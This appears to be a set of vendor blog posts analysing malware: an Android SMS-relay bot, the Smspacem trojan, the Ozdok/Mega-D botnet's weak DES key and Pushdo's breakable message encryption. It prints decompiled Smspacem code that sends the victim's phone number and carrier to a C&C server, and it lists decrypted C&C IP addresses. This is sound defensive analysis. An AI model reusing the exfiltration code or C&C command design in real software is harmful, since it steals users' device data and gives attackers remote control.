Mark Balanza has spotted a new Android malware, Android/CruseWin.A!tr, which acts as an SMS relay.

The malicious application is in contact with a remote C&C from which it gets an XML configuration file which contains the commands the C&C wishes the bot to perform.

In particular, the XML send tag makes the infected mobile phone send an SMS to a specified phone number with a specified body. Then, this phone number is added to a list of phone numbers for which the malicious application must act as a relay: when the specified phone number replies (by SMS), the answer is automatically forwarded to a URL mentioned in the XML insms tag.

Precisely, the malware does an HTTP POST to that URL with a serialized JSON object carrying an informative pair “insms” and the body of the SMS answer.

 

 

 

So, the infected phone acts a SMS relay between some phone numbers and the C&C. Mark Balanza suggests interesting motivations to do so. Read the “possible motive” section of his post.

Besides this SMS-relaying functionality, I would like to investigate other functionalities the malware exposes:

• url: when the malware starts, it sends an HTTP POST, with a JSON object containing the pair “sms”/”true”, to the specified URL.
• delete: the samples I analyzed do not seem to include the code to process this command (yet), but, from its syntax, we can easily assume this command removes the specified phone number from the list of phone numbers to do SMS relay for.
• listapp: the malware posts a list of all installed applications on the device. 
  

  Posting list of applications

• clean: additionally, the malware is able to uninstall a given application remotely. This is similar to Google’s remote Kill Switch, but controlled by attackers…
  
• update: automatically visits the specified URL if the current version of the malware is different from the one specified in the configuration file.
  

Are the listapp / clean features the early sign of mobile malware trying to remove AV software or competing bots (just like Bagle or MyDoom in 2004)?

Thanks to Trend Micro for sharing this sample.

– the Crypto Girl

A few days ago, a new malware named Android/Smspacem.A!tr appeared for Android users. This malware trojans a legitimate (but controversial) application named the Holy F***ing Bible. Its malicious behavior only appeared on May 21-22 and resulted in changing the device’s wallpaper and sends out anti-Christian joke SMS messages to all the user’s phone contacts. The malware also reacts to a few commands: “health” (SMS command), “formula401″ and “pacem” (Web service commands, obtained by polling a Web service on a Command & Control server). The actions the malware takes upon those commands are nicely illustrated here.

To my knowledge, processing commands via a Web service is a “first”. Below, we explain the code for those who are not extremely familiar with Web services:

SoapObject localSoapObject1 = new org/ksoap2/serialization/SoapObject;
SoapObject localSoapObject2 = localSoapObject1;
String str7 = "http://tempuri.org/";
String str8 = "openmic";
localSoapObject2.<init>(str7, str8);

This code is not very readable because it is the output of Dex to Java disassembler, but basically, we see here that the malware is instantiating a SOAP object. The documentation of org.ksoap2.serialization.SoapObject explains:

SoapObject(java.lang.String namespace, java.lang.String name)

So, http://tempuri.org is an XML namespace – it is not something malicious – and openmic corresponds to the method / Web service the malware wishes to call.

Then, the code goes on as follows:

String str9 = this.val$cellnumb;
SoapObject localSoapObject3 = localSoapObject1;
String str10 = "cell";
String str11 = str9;
SoapObject localSoapObject4 = localSoapObject3.addProperty(str10, str11);
String str12 = this.val$opname;
SoapObject localSoapObject5 = localSoapObject1;
String str13 = "opname";
String str14 = str12;
SoapObject localSoapObject6 = localSoapObject5.addProperty(str13, str14);

This code shows that two properties are added to the SOAP object: a property named “cell” which contains the phone number of the infected device and a property named “opname” which corresponds to the operator’s name. Both values (phone number and operator name) are collected by the malware at startup.

Then, the malware needs to send this SOAP object to a remote website. To do so, it serializes the object (let’s skip the code corresponding to this part but, in brief, it ends up in an envelope named localSoapSerializationEnvelope1. Then, below, we see it sends the SOAP object via HTTP to a remote address (controlled by the attacker – a simple C&C server)

http://[REMOVED].no-ip.biz/talktome.asmx

Finally, it waits for an answer from that C&C (such as “formula401″ and “pacem”).

AndroidHttpTransport localAndroidHttpTransport1 = new
   org/ksoap2/transport/AndroidHttpTransport;
AndroidHttpTransport localAndroidHttpTransport2 = localAndroidHttpTransport1;
String str15 = "http://[REMOVED].no-ip.biz/talktome.asmx";
localAndroidHttpTransport2.(str15);
AndroidHttpTransport localAndroidHttpTransport3 = localAndroidHttpTransport1;
String str16 = "http://tempuri.org/openmic";
SoapSerializationEnvelope localSoapSerializationEnvelope4 =
    localSoapSerializationEnvelope1;
localAndroidHttpTransport3.call(str16, localSoapSerializationEnvelope4);
String str17 = ((SoapPrimitive)
    localSoapSerializationEnvelope1.getResponse()).toString();

I support Irfan Asrar’s opinion that this malware targets US end-users. I would even go a bit further by saying that the malware author lives in the US. In fact, as Asrar noted too, there are several references to the Colbert Report, an American satirical late night television program:

1. on May 21, the malware sets an image of Stephen Colbert as wallpaper
2. formula401 refers to a famous title show of the Colbert Report
3. the Android malware is named holycolbert10.apk

A technical hint also suggests that the author might live in the US: the C&C appears to be located in Miami.

Also, it very much looks like the IP address goes to a personal website of a home user (DSL). The author could very well be a talented developer with a strange sense of humor (and little ethics), which would explain why this malware does not really look like the ones Fortinet usually analyzes: in particular, there does not seem to be any financial motivation behind this malware, just something to “show off” (?) or annoy a few people.

We want to remind our readers that this kind of malware author is getting very scarce. These days, malware authors write their malicious code for money, not for fun or for technical pride.

– the Crypto Girl.

On this episode of Network World’s Security Landscape, Derek Manky from Fortinet and Keith Shaw discuss the latest security threats seen worldwide. This includes the rise of do-it-yourself crimeware botnet kits, as well as the possibility of another iPhone jailbreak vulnerability on Oct. 10, 2010.

When analyzing a new botnet, I tend to focus heavily on the network messages. After all, they are the glue that holds the botnet together. So one of the first things I did, when working on our new analysis of the Ozdok/Mega-D botnet, was to look at the messages and discover that they were encrypted. Of course this is not unusual, and after deciding the encryption was not something simple, I went to the bot code to see what was being used.

It soon developed that the encryption used was DES (Data Encryption Standard), in ECB mode. The cryptographic functions used are in the Microsoft Windows standard ADVAPI32 library. Clearly this should not be vulnerable to cryptanalysis or a brute force attack, not in the time available for anti-virus scanning. It was easy to find the key, which can be seen in the disassembled code below.

00408DE4    C645 EC 61     MOV BYTE PTR SS:[EBP-14],61        ; key ‘a’
00408DE8    C645 ED 62     MOV BYTE PTR SS:[EBP-13],62        ; ‘b’
00408DEC    C645 EE 63     MOV BYTE PTR SS:[EBP-12],63        ; ‘c’
00408DF0    C645 EF 64     MOV BYTE PTR SS:[EBP-11],64        ; ‘d’
00408DF4    C645 F0 65     MOV BYTE PTR SS:[EBP-10],65        ; ‘e’
00408DF8    C645 F1 66     MOV BYTE PTR SS:[EBP-F],66         ; ‘f’
00408DFC    C645 F2 67     MOV BYTE PTR SS:[EBP-E],67         ; ‘g’
00408E00    C645 F3 68     MOV BYTE PTR SS:[EBP-D],68         ; ‘h’

So the key was “abcdefgh”, really nothing more than a lower case text password. Maybe the botnet herder was not too worried about security and expected to change the key frequently, but this did seem a little weak.

This made me wonder how weak this key really is. The only practical approach would be a brute force attack, where we try all the keys to see which one works. The DES key is 56 bits long, meaning there are 2**56 possible keys (2 to the 56th power), or in decimal numbers 2**56 = 72,057,594,037,927,935, that is 72 million billion keys.

But if only lower case letters are used, as they are in the bot, the number of keys to try is only 26**8 = 208,827,064,576. And it gets worse. DES only uses 56 bits for the key, and the 8 letters have 8 x 8 = 64 bits, so there are 8 bits too many. The official way to fix this is to drop the lowest bit from each letter, so that “b” (01100010) and “c” (01100011) both become 01100010. This means if we try “b”, we don’t need to try “c” because it is the same. The key “abcdefgh” is the same as “abbddffg“, and the real number of lower case letter keys to try is 14**8 = 1,475,789,056. Not impossible millions of billions, but just a billion and a half.

How much time would it take to search that many keys? One way to get a rough idea is to decrypt a large file and see how long it takes. A 800,000,000 byte file has 100,000,000 eight byte blocks, and takes that many DES operations to decrypt. This should give some idea of the time needed to test 100,000,000 keys. Running this test with mcrypt on an Intel Core2 Quad Q8400 (R) at 2.66 ghz, results in a decryption time of less than 70 seconds, about 1.4 million keys per second. For 1,475,789,056 keys that would be 1033 seconds or about 17 minutes.

If digits and lower case letters are allowed, there are 19**8 = 16,983,563,041 keys, and the search time would be 11,888 seconds or 198 minutes. Include upper case letters and there are 33**8 = 1,406,408,618,241 keys, and the time goes up to 984,486 seconds or 273 hours. To search all of the 72,057,594,037,927,935 possible keys at this rate would require 50,440,315,827 seconds, or about 1599 years.

The search times would certainly be far shorter with software written specially for this purpose and a more powerful computer. Even better times could be achieved with a hardware DES processor, especially if several were run in parallel. In the test 1.4 million decryptions were done per second, but some dedicated chips claim to process as many as 30 million DES decryptions per second.

So for the lower case letter key found in Ozdok, we are almost at the point where the key can be searched quickly enough for antivirus purposes. For keys with a wider range of values the times become too great, at least for the present time.

Part of the problem here derives from a basic weakness in the setting of encryption keys. Users typically will be asked to enter the key, so it can only include ordinary text bytes. The range of key values is seriously limited by this. DES aggravates the problem by folding text characters together, further reducing the real world key space. It is possible to process the password into a better key, but that does not help much if the algorithm used for this is known, and normally it cannot be kept secret. One practical way to reduce the problem is to employ an encryption system with a longer key, but only a fraction of the larger key space will be used.

In any case we can certainly learn something from these calculations. Keys and passwords with a limited range of characters are not just unsafe, they can actually compromise an otherwise secure system.

To find out more about the Ozdok/Mega-D botnet and its hidden messages, take a look at the new analysis.

While looking at some Pushdo botnet messages recently, I noticed a repeating pattern in the data. Here is an example, taken from an area where the pattern is most obvious:

0340  13 63 cc 69 13 63 cc 69 13 63 cc 69 53 63 cc 2b   .c.i.c.i.c.iSc.+
0350  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i
0360  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i

This looked to me like a flaw in the encryption that potentially could be used for detection purposes. It might even be possible to automatically break the encryption.

It is not hard to guess the cause of this pattern. The data was encrypted with a four byte key, and what we see here is the result of encrypting a block of nulls. Null blocks are an expected part of most program files and not unusual in data files, and this Pushdo message certainly contains both. Looking around in the message data, we can see that even where non-null data is mixed in, the underlying pattern can be recognized.

0030  — – — – — – 15 c8 fc 31 20 20 3f 19 1a 63 . .j…..1  ?..c
0040  d2 69 89 63 3c 1b 7c db 45 69 00 63 cc 69 13 63 .i.c<.|.Ei.c.i.c
0050  1c 69 21 94 04 47 25 94 fa 5e 3d 9c cc 7f 13 63 .i!..G%..^=….c
0060  cc 69 13 b3 cc 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i…_”..\+.._$.

If the encryption was done using a simple XOR, the four pattern bytes would serve as a key to decrypt the message data. But the Pushdo encryption algorithm is a bit more complicated than that. A recent in-depth analysis by Fortinet’s Kyle Yang reveals the encryption algorithm.

Pushdo encryption uses three key bytes, which we will refer to as key0, key1, and key2. A new key is generated whenever the infected computer is restarted. Here is how the encryption is done.

(plain byte 0) XOR key0 = (encrypted byte 0)
(plain byte 1) – key1 = (encrypted byte 1)
(plain byte 2) + key2 = (encrypted byte 2)
(plain byte 3) XOR (key1 + key2) = (encrypted byte 3)

One of the most important rules for encryption systems is that security should depend on the keys, not on the secrecy of the encryption algorithm. In this case a bit of reverse engineering has revealed the algorithm, so whatever security remains is provided by the keys.

At this point it looks like we have all the information we need to decrypt this message. We know how the encryption works, and we should be able to calculate the key from the repeating pattern. But it would be convenient for us to be able to use the pattern itself as the key, if that is possible.

Notice that the last encryption rule contains an unnecessary complication that does not improve security. Adding key1 and key2 only serves to produce another static key byte. For our decryption we can simplify this rule by combining key1 and key2:

(plain byte 3) XOR key1.2 = (encrypted byte 3)

The plus and minus operations must also be reversed, so the new rules for decryption are:

(encrypted byte 0) XOR key0 = (plain byte 0)
(encrypted byte 1) + key1 = (plain byte 1)
(encrypted byte 2) – key2 = (plain byte 2)
(encrypted byte 3) XOR key1.2 = (plain byte 3)

To find the key bytes from the pattern bytes, we can rearrange the decryption rules this way:

key0 = (plain byte 0) XOR (pattern byte 0)
key1 = (plain byte 1) – (pattern byte 1)
key2 = – (plain byte 2) + (pattern byte 2)
key1.2 = (plain byte 3) XOR (pattern byte 3)

The pattern bytes need to be aligned with the encryption rules before we can find the key bytes. We could test all four possibilities, but a quicker way to do this is by looking at the start of the data. We know from reverse engineering that the message has an 8 byte header, which means the data starts at frame offset 0x003e, so the pattern byte that falls here will correspond to key0. The pattern bytes are cc 69 13 63.

0030  — – — – — – 15 c8 fc 31 20 20 3f 19 1a 63 . .j…..1  ?..c
key   — – — – — – — – — – — – — – 13 63
0040  d2 69 89 63 3c 1b 7c db 45 69 00 63 cc 69 13 63 .i.c<.|.Ei.c.i.c
key   cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63

Based on this alignment the pattern byte identities are:

pattern byte 0 = 0×13
pattern byte 1 = 0×63
pattern byte 2 = 0xcc
pattern byte 1.2 = 0×69

Using the equations above, with the plain bytes set to zero, the key bytes are:

key0 = 0×13
key1 = 0x9d
key2 = 0xcc
key1.2 = 0×69

To test this we can decrypt some message data to see if we get the correct result. The block below was chosen at random from an area known to contain hard coded IP addresses.

0060  cc 69 13 b3 cc 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i…_”..\+.._$.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 00 00 00 50 00 36 31 2e 31 35 38 2e 31 36 37 2e
text                  6  1  .  1  5  8  .  1  6  7  .

0070  01 50 13 7b cc 69 13 63 cc 39 13 94 03 5d 3d 94   .P.{.i.c.9…]=.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 35 39 00 18 00 00 00 00 00 60 00 31 37 34 2e 31
text   5  9                             1  7  4  .  1

0080  ff 5a 3d 94 fc 5d 3d 95 fd 59 13 79 cc 69 13 63   .Z=..]=..Y.y.i.c
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 33 33 2e 31 30 34 2e 32 31 30 00 16 00 00 00 00
text   3  3  .  1  0  4  .  2  1  0

0090  cc 39 13 95 fe 58 3d 95 ff 59 3d 95 fa 5b 23 9b   .9…X=..Y=..[#.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 00 50 00 32 32 31 2e 32 33 30 2e 32 2e 32 30 38
text            2  2  1  .  2  3  0  .  2  .  2  0  8

The IP addresses found above in the decrypted block match ones known to be used by this version of Pushdo, so we can safely say the decryption is correct. Automated detection should be possible by picking the key from the message and applying it to a known block like the one above. Even if the IP addresses are changed, their presence in this format can be detected, along with other parts of the structure they are held in.

Unfortunately, sooner or later the encryption algorithm will be changed. It can be recovered by reverse engineering, but we would like to handle the change automatically, if that is possible.

We have some knowledge about the unencrypted data, for example we know that the data block seen here contains a number of IP addresses in text format. More of this kind of predictable data can likely be found. So we should be able to find the key, and we have all of the encrypted data and some of the unencrypted data.

With this information it may be possible to derive the arithmetic or logic operations used to encrypt each of the four bytes. Simple operations like XOR, plus and minus should not be hard to identify. Only operations that do not destroy data can be used, so it may be possible to generate a list of acceptable operations that are not excessively complex. As we saw with the fourth rule, overly complex operations may be reduced to simpler ones. In this sort of analysis we would probably not even be aware of the reduction.